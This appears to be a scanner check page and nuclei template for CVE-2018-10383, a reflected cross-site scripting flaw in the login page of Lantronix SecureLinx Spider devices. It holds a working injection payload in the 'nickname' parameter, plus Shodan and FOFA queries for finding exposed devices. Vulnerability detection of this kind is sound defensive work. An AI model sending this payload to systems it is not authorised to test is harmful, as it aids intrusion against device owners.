Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Apply the latest security patches from Lantronix or upgrade to a patched firmware version.

How to confirm it

Send: GET /
Positive when: contains_any(body, "<title>Lantronix", "Lantronix, Inc")
Send: GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E
Positive when: contains(body, "><style onload=\"alert(document.domain)\">") and status_code == 200

Run it with nuclei: nuclei -id CVE-2018-10383 -u <target>

The full check

id: CVE-2018-10383

info:
  name: Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Apply the latest security patches from Lantronix or upgrade to a patched firmware version.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-10383.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10383
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10383
    cwe-id: CWE-79
    epss-score: 0.01912
    epss-percentile: 0.7998
    cpe: cpe:2.3:o:lantronix:securelinx_spider_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lantronix
    product: securelinx_spider_firmware
    shodan-query: title:"Lantronix"
    fofa-query: title="Lantronix"
  tags: cve,cve2018,lantronix,securelinx,sls,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Lantronix", "Lantronix, Inc")'
        internal: true

  - raw:
      - |
        GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "><style onload=\"alert(document.domain)\">")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from